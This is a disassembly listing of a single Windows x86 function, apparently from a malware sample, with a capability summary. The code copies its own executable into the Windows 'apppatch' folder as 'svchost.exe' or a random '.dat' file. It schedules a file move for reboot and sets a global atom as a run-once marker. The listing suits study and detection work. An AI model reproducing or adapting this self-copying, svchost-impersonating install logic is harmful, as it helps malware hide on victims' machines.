Function at 0x402b90
Capabilities:
Check if file exists
Copy file
Delete file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x338
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
push 0x1c
lea eax, [esp + 0x10]
push eax
push 0x401e60
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [esp + 0x10]
push 0x104
lea ecx, [esp + 0x134]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x467ad8]
mov byte [esp + eax + 0x28], cl
inc eax
test cl, cl
jne 0x402bf0
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402d19
push 0x104
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [esp + 0x28]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402c27
mov edx, dword [str._apppatch_]
mov ecx, dword [0x40c6dc]
mov dword [eax], edx
mov dx, word [0x40c6e0]
mov dword [eax + 4], ecx
mov cl, byte [0x40c6e2]
mov word [eax + 8], dx
push 0x4094b8
mov byte [eax + 0xa], cl
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402c8b
push 0x40c350
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402c8b
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 8], 0
je 0x402cbb
lea eax, [esp + 0x28]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402c97
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x40c6e8]
mov dword [eax], ecx
mov ecx, dword [0x40c6ec]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x402d19
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004014a0
and eax, 1
add eax, 6
push eax
call fcn.00401530
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402cd5
lea edi, [esp + 0x28]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402ce3
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x28]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402d00
mov edx, dword [str..dat]
mov cl, byte [0x40c6f4]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [esp + 0x28]
push edx
push 0x40c6f8
lea eax, [esp + 0x240]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402df9
lea esi, [esp + 0x28]
call fcn.00402a50
mov eax, esi
push eax
call fcn.00401c50
mov eax, esi
call fcn.00401d20
mov ecx, esi
push ecx
call fcn.00401d90
push 4
mov edx, esi
push edx
lea eax, [esp + 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x4094b8
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402dc0
push 0x40c350
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402dc0
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 8], 0
je 0x402dd1
lea edx, [esp + 0x28]
push edx
call fcn.004015c0
push str.Thu_Jun__9_19:50:43_20111
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
je 0x402dee
call fcn.004011d0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.Thu_Jun__9_19:50:43_20111
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret